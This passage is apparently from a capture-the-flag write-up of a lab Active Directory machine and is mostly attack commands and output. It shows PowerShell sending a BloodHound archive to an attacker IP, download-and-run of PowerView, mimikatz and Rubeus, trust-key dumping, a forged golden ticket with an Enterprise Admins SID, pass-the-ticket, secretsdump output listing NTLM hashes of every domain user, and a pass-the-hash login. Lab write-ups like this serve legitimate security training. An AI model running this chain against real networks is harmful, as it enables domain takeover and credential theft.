 241 name to SID mappings.
 1 machine sid mappings.
 5 sid to domain mappings.
 0 global catalog mappings.
2024-08-13T13:13:10.3162304-07:00|INFORMATION|SharpHound Enumeration Completed at 1:13 PM on 8/13/2024! Happy Graphing!
PS C:\users\public> $server = "10.10.14.197"
$port = 443
$filePath = "20240813131308_sh.zip"

$tcpClient = New-Object System.Net.Sockets.TcpClient($server, $port)
$networkStream = $tcpClient.GetStream()
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$networkStream.Write($fileBytes, 0, $fileBytes.Length)
$networkStream.Flush()
$networkStream.Close()
$tcpClient.Close()
---
└─$ listen 443 > 20240813131308_sh.zip
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.24:49791.

...wot...

Writeup-23.png

Trusted Domains

If we look into the domains, we can observe that both domains have TrustedBy relationship.

Writeup-24.png

Gather some info about domain:

PS C:\users\public> Get-ADDomain
AllowedDNSSuffixes                 : {}
ChildDomains                       : {}
ComputersContainer                 : CN=Computers,DC=corp,DC=ghost,DC=htb
DeletedObjectsContainer            : CN=Deleted Objects,DC=corp,DC=ghost,DC=htb
DistinguishedName                  : DC=corp,DC=ghost,DC=htb
DNSRoot                            : corp.ghost.htb
DomainControllersContainer         : OU=Domain Controllers,DC=corp,DC=ghost,DC=htb
DomainMode                         : Windows2016Domain
DomainSID                          : S-1-5-21-2034262909-2733679486-179904498
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=corp,DC=ghost,DC=htb
Forest                             : ghost.htb
InfrastructureMaster               : PRIMARY.corp.ghost.htb
LastLogonReplicationInterval       :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=corp,DC=ghost,DC=htb}
LostAndFoundContainer              : CN=LostAndFound,DC=corp,DC=ghost,DC=htb
ManagedBy                          :
Name                               : corp
NetBIOSName                        : GHOST-CORP
ObjectClass                        : domainDNS
ObjectGUID                         : 64cfe3f1-cf05-48c6-9685-1fd04f9d39b0
ParentDomain                       : ghost.htb
PDCEmulator                        : PRIMARY.corp.ghost.htb
PublicKeyRequiredPasswordRolling   : True
QuotasContainer                    : CN=NTDS Quotas,DC=corp,DC=ghost,DC=htb
ReadOnlyReplicaDirectoryServers    : {}
ReplicaDirectoryServers            : {PRIMARY.corp.ghost.htb}
RIDMaster                          : PRIMARY.corp.ghost.htb
SubordinateReferences              : {DC=DomainDnsZones,DC=corp,DC=ghost,DC=htb}
SystemsContainer                   : CN=System,DC=corp,DC=ghost,DC=htb
UsersContainer                     : CN=Users,DC=corp,DC=ghost,DC=htb

PS C:\users\public> Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, IsTransitive, @{Name='Domain';Expression={$(Get-ADDomain).Name}}

Name           : ghost.htb
TrustType      : Uplevel
TrustDirection :
IsTransitive   : {}
Domain         : corp
PS C:\users\public> ipconfig /all
Windows IP Configuration

   Host Name . . . . . . . . . . . . : PRIMARY
   Primary Dns Suffix  . . . . . . . : corp.ghost.htb
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : corp.ghost.htb
                                       ghost.htb

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
   Physical Address. . . . . . . . . : 00-15-5D-44-3C-01
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.0.0.10(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
   DNS Servers . . . . . . . . . . . : 127.0.0.1
                                       10.0.0.254
   NetBIOS over Tcpip. . . . . . . . : Enabled
PS C:\users\public> nslookup dc01.ghost.htb
...
Name:    dc01.ghost.htb
Addresses:  10.10.11.24
          10.0.0.254
PS C:\users\public> Get-DomainTrustMapping
SourceName      : corp.ghost.htb
TargetName      : ghost.htb
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 2/1/2024 2:33:33 AM
WhenChanged     : 7/22/2024 4:21:26 PM

SourceName      : ghost.htb
TargetName      : corp.ghost.htb
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 2/1/2024 2:33:33 AM
WhenChanged     : 7/22/2024 4:21:25 PM

ADRecon made few things easier to enumerate.

Trusts.csv:

Source Domain
Target Domain
Trust Direction
Trust Type
Attributes
whenCreated
whenChanged

corp.ghost.htb

ghost.htb

BiDirectional

Uplevel

Within Forest

1/31/2024 6:33:33 PM

7/22/2024 9:21:26 AM

Forest.csv:

Category
Value

Name

ghost.htb

Functional Level

Windows2016Forest

Domain Naming Master

DC01.ghost.htb

Schema Master

DC01.ghost.htb

RootDomain

ghost.htb

Domain Count

2

Site Count

1

Global Catalog Count

2

Domain

ghost.htb

Domain

corp.ghost.htb

Site

Default-First-Site-Name

GlobalCatalog

DC01.ghost.htb

GlobalCatalog

PRIMARY.corp.ghost.htb

Tombstone Lifetime

180

Recycle Bin (2008 R2 onwards)

Disabled

Privileged Access Management (2016 onwards)

Disabled

LAPS

Disabled

Compters.csv:

UserName
Name
DNSHostName
Enabled
IPv4Address
Operating System
Logon Age (days)
Password Age (days)
Dormant (> 90 days)
Password Age (> 30 days)
Delegation Type
Delegation Protocol
Delegation Services
Primary Group ID
SID
SIDHistory
Description
ms-ds-CreatorSid
Last Logon Date
Password LastSet
UserAccountControl
whenCreated
whenChanged
Distinguished Name

PRIMARY$

PRIMARY

PRIMARY.corp.ghost.htb

True

10.0.0.10

Windows Server 2022 Datacenter 10.0 (20348)

0

57

False

True

516

S-1-5-21-2034262909-2733679486-179904498-1000

8/13/2024 9:03:25 PM

6/17/2024 9:51:07 AM

532480

1/31/2024 6:34:00 PM

8/13/2024 9:03:25 PM

CN=PRIMARY,OU=Domain Controllers,DC=corp,DC=ghost,DC=htb

Resources:

Golden Ticket

PS C:\users\public> IEX(IWR 10.10.14.197/PowerView.ps1 -UseBasicParsing)
PS C:\users\public> Get-ADUser -Filter * -Server 'primary.corp.ghost.htb' -Property SamAccountName | Select-Object SamAccountName, SID
SamAccountName SID
-------------- ---
Administrator  S-1-5-21-2034262909-2733679486-179904498-500
Guest          S-1-5-21-2034262909-2733679486-179904498-501
krbtgt         S-1-5-21-2034262909-2733679486-179904498-502
GHOST$         S-1-5-21-2034262909-2733679486-179904498-1103

PS C:\users\public> Get-ADUser -Filter * -Server 'DC01.ghost.htb' -Property SamAccountName | Select-Object SamAccountName, SID
SamAccountName       SID
--------------       ---
Administrator        S-1-5-21-4084500788-938703357-3654145966-500
Guest                S-1-5-21-4084500788-938703357-3654145966-501
krbtgt               S-1-5-21-4084500788-938703357-3654145966-502
GHOST-CORP$          S-1-5-21-4084500788-938703357-3654145966-2101
kathryn.holland      S-1-5-21-4084500788-938703357-3654145966-3602
cassandra.shelton    S-1-5-21-4084500788-938703357-3654145966-3603
robert.steeves       S-1-5-21-4084500788-938703357-3654145966-3604
florence.ramirez     S-1-5-21-4084500788-938703357-3654145966-3606
justin.bradley       S-1-5-21-4084500788-938703357-3654145966-3607
arthur.boyd          S-1-5-21-4084500788-938703357-3654145966-3608
beth.clark           S-1-5-21-4084500788-938703357-3654145966-3610
charles.gray         S-1-5-21-4084500788-938703357-3654145966-3611
jason.taylor         S-1-5-21-4084500788-938703357-3654145966-3612
intranet_principal   S-1-5-21-4084500788-938703357-3654145966-3614
gitea_temp_principal S-1-5-21-4084500788-938703357-3654145966-3615

PS C:\users\public> IWR 10.10.14.197/mimi.exe -outfile mimi.exe
PS C:\users\public> .\mimi.exe "lsadump::trust /patch" exit
mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
mimikatz(commandline) # lsadump::trust /patch

Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
 [  In ] CORP.GHOST.HTB -> GHOST.HTB
    * 7/22/2024 9:21:26 AM - CLEAR   - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f
        * aes256_hmac       de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
        * aes128_hmac       b55ca148bc95f95b8cb72f67661e1a08
        * rc4_hmac_nt       0b0124f5d6c07ad530d6bf6a6404fdaa

 [ Out ] GHOST.HTB -> CORP.GHOST.HTB
    * 7/22/2024 9:20:47 AM - CLEAR   - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b
        * aes256_hmac       b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
        * aes128_hmac       81f4c2f21a640eed29861d71a619b4bb
        * rc4_hmac_nt       ea4e9954536eb29091fc96bbce83be23

 [ In-1] CORP.GHOST.HTB -> GHOST.HTB
    * 6/18/2024 8:55:05 AM - CLEAR   - 87 d6 a8 80 98 3b d7 0b aa 5e 69 24 3a 99 90 bc f8 d0 2d 64 b1 a6 f8 a6 5a 2a ff 42 bc f0 47 c4 11 3c 57 ea af 61 36 46 5e f1 9b 05 98 74 85 c9 c5 15 2c d4 f7 08 8e 10 59 85 fa 8e 48 34 d6 3b b8 4c 69 ee e1 09 0c a1 29 d4 66 a6 d0 2d cc c9 8c 08 6c 6b 50 14 ab 63 ba 13 87 04 31 7b d3 ac 65 01 5f 10 b1 09 82 f4 29 bb 5c 33 df 6e d1 db a3 06 03 9f 37 22 60 90 75 5e dd d1 2c 99 e6 ed 2e c9 89 75 16 d8 19 f9 e1 d2 15 6c dd 7e fd 94 fe 86 77 d8 1b 2f 91 c6 2f 51 03 d6 d1 da e6 fb 79 a4 53 00 2b c2 7a 93 6f 79 cd e5 83 a6 c2 d8 ca 85 be 7f 08 8b 7b 33 75 cb 48 39 cc 5c ae de e3 46 42 a0 0f d8 35 12 92 c2 15 1d 92 1e 03 63 32 8b 29 78 c3 03 a1 3b 20 c8 c9 94 38 b1 3a 31 9a dd 48 7c 52 30 7a 81 d1 75 0f 9f 30 d7 94 04
        * aes256_hmac       00e2c7b1958d93502a7307cdd218bea9f783fef8d22690a50642dea7b4f69f17
        * aes128_hmac       734cb9dfdeb5c942a51f689057ea32bd
        * rc4_hmac_nt       dae1ad83e2af14a379017f244a2f5297

 [Out-1] GHOST.HTB -> CORP.GHOST.HTB
    * 7/22/2024 9:20:47 AM - CLEAR   - 35 40 61 63 fc 2d 24 ab 5b 37 68 af 85 0c 97 56 75 04 29 15 25 d5 01 6a 22 a6 de dc c4 85 09 9c ab a1 64 6e 5a 0e 5f 4e 18 38 06 2f fe d5 6b 9c 52 b7 81 2d 51 16 66 0c a4 fa fb 0b 25 92 e8 79 0f a6 cf e2 65 1f 36 eb 1d ee 6c 8e b0 9b d5 a2 e3 8a 40 22 c4 f9 95 0c 94 b1 c8 36 27 4d 17 56 3d 9b 3c 08 46 bb 4b 21 fd 6e 62 93 1a 48 5a e9 6e c8 94 29 e4 77 4b ec cb e6 e8 70 d9 43 4d 80 d0 54 d2 55 7e 8d 5c 76 0c bd f3 2b 28 70 82 ba 30 a7 40 45 cc 16 52 62 7d 8b 80 71 3d a5 a7 c0 0c a2 f8 ea 85 11 96 cc a6 0a 71 a9 c3 3f de c9 d3 75 c3 1e 0b a9 72 45 3e b7 cb ff 71 38 2e 0c 19 fc 3d ca 02 7b c1 e2 7f c5 b4 49 30 07 c1 8c 60 0f f7 4b aa 87 05 d1 63 a8 9d 10 d7 f8 60 1c a9 4a 56 b2 b0 d2 ad 4f bf 00 c5 36 48 77 18 ec
        * aes256_hmac       2a6246855d7048ad3f39be69a216742c193afa3d841f46c4a269ba8468f3b163
        * aes128_hmac       a98256f08f9da89d7880ab72ff57ecfb
        * rc4_hmac_nt       ba8ef93f824c0f3b1e98037ae08ab68c


PS C:\users\public> .\mimi.exe "lsadump::trust /patch" exit
PS C:\users\public> .\mimi.exe 'Kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:C:\Users\Public\ghost.kirbi' exit
mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
mimikatz(commandline) # Kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:C:\Users\Public\ghost.kirbi
User      : Administrator
Domain    : CORP.GHOST.HTB (CORP)
SID       : S-1-5-21-2034262909-2733679486-179904498
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ;
ServiceKey: dae1ad83e2af14a379017f244a2f5297 - rc4_hmac_nt
Service   : krbtgt
Target    : GHOST.HTB
Lifetime  : 8/15/2024 9:45:21 AM ; 8/13/2034 9:45:21 AM ; 8/13/2034 9:45:21 AM
-> Ticket : C:\Users\Public\ghost.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

...
PS C:\users\public> IWR 10.10.14.197/Rubeus.exe -outfile rb.exe
PS C:\users\public> .\rb.exe asktgs /ticket:C:\Users\Public\ghost.kirbi /service:CIFS/DC01.ghost.htb /dc:DC01.ghost.htb /ptt /nowrap
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/DC01.ghost.htb'
[*] Using domain controller: DC01.ghost.htb (10.0.0.254)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
      doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBENJRlMbDkRDMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6gPs7VxkswnvuxSy0iOmMlEVD9djLNwiyPesYPGQYtgMujkJHP3GOlXdsnSHp02p7ortPQt8SiAxmyVtLYMs/5FXW9ju1RcAfwF5quYPSfv/nnKEkAwAJWtK7rtPSYwc1K2a7KHyaFEZihzpQ7HnoqdKB5JP6OBDJ/4Ewkjo+u22xJKjS3R5Ycn+5BqxFqnrpFVxJiH4f6RPWGB6X5JLVl7fhFm7vDMXuxPLY7EgcSB/kaO4jU0cEVMETX7sCjjZoEW35MWXR0UW6bpknZcjqmeTx9J+2uV4nJj80CrabpihnmazJ67/smkDBF6wKh7eQKH3tlGMistDhzrhol+1RGZXFxPbbt/oJ3ncITlC5FvANiCmzNfOo2NbYaeGtyuVWbXOUwICBdXfC0W8L7a5DgUc5hznWCDWFpKsyriRFdV/L62qH7fEeHlSDDXyN2FlhHVkCg0JbOLWBk+01ahaAxs+rXIo+AlcNswORMWWa65CvjaUuXSQZR+AK0z75ruffeNkl7C47U9Ws9RdKP2HyKE8u2BzWVf2NnVS/NO7gs3pQppmASsfGr/KLWYMKmZPnzeZadEQDNMDdGFlqk+fmmEf1XjoWKJ4rIxTwIAzIL2VIQbuzGwDxI+ADhqMVgBFw34mUGLuwRbwv7lzZYdr7ZX0Nu/SRyJrGybRGeK9+/xo6/QLuSpH3qCeeX3P5aop/sn3T/q0KUztB0/34k2RvPdDhipdnPoFEjjidOUoZuyk5rfRLZRIbU1NLNNq2pQA4KH01orrZWOvr4UOLTNQkJVY14CWvJ/X9WuzdmyzQXEp+YRMNa0woD6XG+2GrZmmVt4zPONA930WyFAi2LkEhcv6NoTjgmYknN+xqE1zKVy6HloIwXCyt68zKyMH4X/eBylTi23RMNUqXE084V7glAyb9UvhCLaz4tjmm2+tsMI0U/wL4XZzOSEOHz4N5OLLKEPSKPjKWmpesX6cyVepBYf0Wp0gnuGbZEPgg1x+vhODSwa79q3xS+tPFb51TuZJPEFtUnZyUai32xUp6M6q/94rOZ6FOkTIIKsJhDLNhrp0e/+5YfNdewNFre7LDaPDccmzD1e0I8tp8jRJkbWw9E1csYfVjBFXDpLtq0a7AAQLxWnbMK8bLiBGtVfFJfleqdgW484fasDuu8Tdo+yNH1AY+H3DZBRh/sKN/X5BMyELMW8rxlGvL9/10viAh/v9Gp/J0OJ5secTToLdBNMohzKPJPm2OxEriujgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCBeD92KDohVl2/IqCdnQr5lYgXifahouK9EOJSpj/iqYqEQGw5DT1JQLkdIT1NULkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDA4MTUxNjQ2MTlaphEYDzIwMjQwODE2MDI0NjE5WqcRGA8yMDI0MDgyMjE2NDYxOVqoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEQ0lGUxsOREMwMS5naG9zdC5odGI=

  ServiceName              :  CIFS/DC01.ghost.htb
  ServiceRealm             :  GHOST.HTB
  UserName                 :  Administrator
  UserRealm                :  CORP.GHOST.HTB
  StartTime                :  8/15/2024 9:46:19 AM
  EndTime                  :  8/15/2024 7:46:19 PM
  RenewTill                :  8/22/2024 9:46:19 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  Xg/dig6IVZdvyKgnZ0K+ZWIF4n2oaLivRDiUqY/4qmI=
PS C:\users\public> klist
Cached Tickets: (1)

##0>     Client: Administrator @ CORP.GHOST.HTB
        Server: CIFS/DC01.ghost.htb @ GHOST.HTB
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 8/15/2024 9:46:19 (local)
        End Time:   8/15/2024 19:46:19 (local)
        Renew Time: 8/22/2024 9:46:19 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

PS C:\users\public> ls \\dc01.ghost.htb\c$
ls : Access is denied

Steps are replicated from Nairuz Abulhul: Breaking Domain Trusts with Forged Trust Tickets blog. We should have access to \\dc01.ghost.htb\c$, but seems like something went wrong ://

One of the steps used child domain sid for sids, which was wrong. What we need is privileged user or group SID!

After some enumeration Enterprise Admins was the one that worked.

PS C:\users\public> Get-DomainGroup -Identity * -Properties name, objectsid -Domain ghost.htb | ? { $_.name -match 'admin' }

objectsid                                     name
---------                                     ----
S-1-5-32-544                                  Administrators
S-1-5-32-578                                  Hyper-V Administrators
S-1-5-32-582                                  Storage Replica Administrators
S-1-5-21-4084500788-938703357-3654145966-518  Schema Admins
S-1-5-21-4084500788-938703357-3654145966-519  Enterprise Admins
S-1-5-21-4084500788-938703357-3654145966-512  Domain Admins
S-1-5-21-4084500788-938703357-3654145966-526  Key Admins
S-1-5-21-4084500788-938703357-3654145966-527  Enterprise Key Admins
S-1-5-21-4084500788-938703357-3654145966-1101 DnsAdmins
S-1-5-21-4084500788-938703357-3654145966-3601 sysadmin

Note: The SID has been applied to above commands.

Privilege Escalation (DC01 system)

Use the generated hash:

└─$ echo $(xclip -o -sel clip) > ghost.kirbi.base64   # Copy ticket given by Rubeus
└─$ cat ghost.kirbi.base64 | base64 -d > ghost.kirbi  # Decode the ticket
└─$ impacket-ticketConverter ghost.kirbi ghost.ccache # Convert ticket
└─$ export KRB5CCNAME=ghost.ccache                    # Save as varaible
└─$ netexec smb dc01.ghost.htb --use-kcache           # Use pass-the-ticket

Oddly enough the secretsdump worked?!...

└─$ impacket-secretsdump -k -no-pass dc01.ghost.htb
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3ee624e56316fc8523b59f72d191a0cd
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ab8f4de89a9d5461a503ee5a8d6020ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
GHOST\DC01$:plain_password_hex:3e329a9f2e0072a09e1e04635a6dda1f76cb8660c8bb918c6f9e73f3aafca1646034ca54c0b0d202c756aa5c45f0ac2db8583a8203e02c7083f97f6e0af338a3d4165df84ff4e339a8abf607371a5870c42a8a5b6ecfb80d899b0438eb3aed3b796ad904f723fd381ad9858f6403d4752a36fd16d40d7cdeb2f5eaf13fe565c565b150224d43acbfb16161cfba2e3eed6c408213b62bcb1ef7a4e759e34c2971b21d5f617b036cdc2bb658bd9af580646a2e89dad00d6386fd508e14c23164647813b440966dfd73e9ae6f3eb6c94381978f9757aa8a51ac9a00dfed31facb1f22422e4cca75ba8518ff7882ef94d5a4
GHOST\DC01$:aad3b435b51404eeaad3b435b51404ee:e6c3d61860f92e30e8e9744ac5d9783b:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x873c8dce6c211764839e23119defe1090cd9c0c0
dpapi_userkey:0xceba98a9e43ef2dd80788854c12b7af873b0b590
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0cdb6ae71c3824f2da2815f69485e128:::
kathryn.holland:3602:aad3b435b51404eeaad3b435b51404ee:0adf6114ba230ef8f023eca3c0d1af50:::
cassandra.shelton:3603:aad3b435b51404eeaad3b435b51404ee:96d2251e44e42816314c08b8e1f11b87:::
robert.steeves:3604:aad3b435b51404eeaad3b435b51404ee:7e2e1e1163ff3fa9304ecd8df6f726fe:::
florence.ramirez:3606:aad3b435b51404eeaad3b435b51404ee:29542931896c7e7a9fbca17b0dd8ab6a:::
justin.bradley:3607:aad3b435b51404eeaad3b435b51404ee:a2be8ec65d6b212138cb36422ed32f46:::
arthur.boyd:3608:aad3b435b51404eeaad3b435b51404ee:b5b7f0787f3c07f42958d33518ae19a5:::
beth.clark:3610:aad3b435b51404eeaad3b435b51404ee:1582f51fcd02e2e5316d497f2552bb83:::
charles.gray:3611:aad3b435b51404eeaad3b435b51404ee:d2fe7f2c7484fc550cac49836eabca3d:::
jason.taylor:3612:aad3b435b51404eeaad3b435b51404ee:0159e6bd4326812f9a6c406ea84035e6:::
intranet_principal:3614:aad3b435b51404eeaad3b435b51404ee:e9fac15124e1d927cbd71f851792b04f:::
gitea_temp_principal:3615:aad3b435b51404eeaad3b435b51404ee:2058fa4502750fa5d7ebd874b1ea43a1:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e6c3d61860f92e30e8e9744ac5d9783b:::
LINUX-DEV-WS01$:3630:aad3b435b51404eeaad3b435b51404ee:ddd8fea111775317f53cb6ebdc3962a8:::
adfs_gmsa$:4101:aad3b435b51404eeaad3b435b51404ee:b54e13804a5c2e7e36ce0e8c8fa9c84d:::
GHOST-CORP$:2101:aad3b435b51404eeaad3b435b51404ee:ea4e9954536eb29091fc96bbce83be23::: 
...

The secretsdump dumped both domains, corp and then DC01 so we need to use the DC01 hash :/

└─$ evil-winrm -u 'administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd' -i ghost.htb
*Evil-WinRM* PS C:\Users\Administrator> tree /f /a
Folder PATH listing
Volume serial number is 2804-C13F
C:.
+---3D Objects
+---Contacts
+---Desktop
|       root.txt
|
+---Documents
|   +---maintenance
|   |       adfs.pfx
|   |       adfs_signing.cer
|   |       adidns.ps1
|   |       adidns_status.txt
|   |       adusers.csv
|   |       adusers.ps1
|   |       core.ghost.htb.crt
|   |       federation.ghost.htb.pfx
|   |       https_core.ghost.htb.xml
|   |       ldap.ps1
|   |       setupservice.ps1
|   |       setupserviceimpl.ps1
|   |
|   +---SQL Server Management Studio
|   |   \---Code Snippets
|   |       \---SQL
|   |           \---My Code Snippets
|   +---Visual Studio 2017
|   |   +---ArchitectureExplorer
|   |   +---Backup Files
|   |   |   \---Solution1
|   |   \---Templates
|   |       +---ItemTemplates
|   |       |   +---JavaScript
|   |       |   \---TypeScript
|   |       \---ProjectTemplates
|   |           +---JavaScript
|   |           \---TypeScript
|   \---WindowsPowerShell
|           Microsoft.PowerShell_profile.ps1
|
+---Downloads
+---Favorites
|   |   Bing.url
|   |
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

Root.txt

*Evil-WinRM* PS C:\Users\Administrator> cat Desktop/root.txt
6f3e684d63b24cc42b7f761d5213a824

Writeups referenced:

Last updated